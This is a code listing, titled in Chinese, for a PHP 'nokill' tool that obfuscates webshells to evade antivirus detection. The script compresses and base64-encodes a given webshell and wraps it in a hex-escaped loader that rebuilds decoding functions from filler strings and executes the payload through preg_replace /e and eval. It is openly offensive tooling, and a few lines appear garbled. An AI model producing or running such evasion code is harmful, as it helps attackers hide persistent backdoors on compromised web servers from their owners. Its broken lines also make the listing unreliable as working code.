php写的webshell超强免杀工具的代码

2. /*
3. Title: PHP shell nokill T00L
4. Blog: exploit-db.blogcn.com
5. */
6. error_reporting(0);
7. @ini_set('memory_limit','-1');
8. set_time_limit(0);
9. $toolname="$argv[0]";
10. if ($argcbaner($toolname);
11. die;
12. }
13. $input_file= trim($argv[1]);
14. $output_file='nokill_'.$input_file;
15. if (file_exists($input_file)) {
16. No_kill_c0de($input_file,$output_file);
17. echo "PHP shell nokill T00L\r\n";
18. echo "Blog: exploit-db.blogcn.com\r\n";
19. echo "Input: {$input_file}\r\n";
20. $file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file;
21. echo "[+] Generate success!\r\n";
22. echo "Saved to {$file_full_path}"."\r\n";
23. } else {
24. echo "PHP shell nokill T00L\r\n";
25. echo "Blog: exploit-db.blogcn.com\r\n";
26. die("[-] Failed ! The File $input_file does not exist");
27. }
28. function No_kill_c0de($input_file,$output_file){
29. $no_whitespace=php_strip_whitespace($input_file);
30. $no_php_tag=trim(trim(trim($no_whitespace,'');
31. $enfile=base64_encode(gzdeflate($no_php_tag));
32. $shellcode="\x3c\x3f\x70\x68\x70\xd\xa";
33. $shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa";
34. $shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa";
35. $shellcode.="\x3f\x3e";
36. file_put_contents("$output_file",$shellcode);
37. }
38. function baner($toolname){
39. echo "PHP shell nokill T00L\r\n";
40. echo "Blog: exploit-db.blogcn.com\r\n";
41. echo "Usage: {$toolname} phpwebshell\r\n";
42. }
43. ?>

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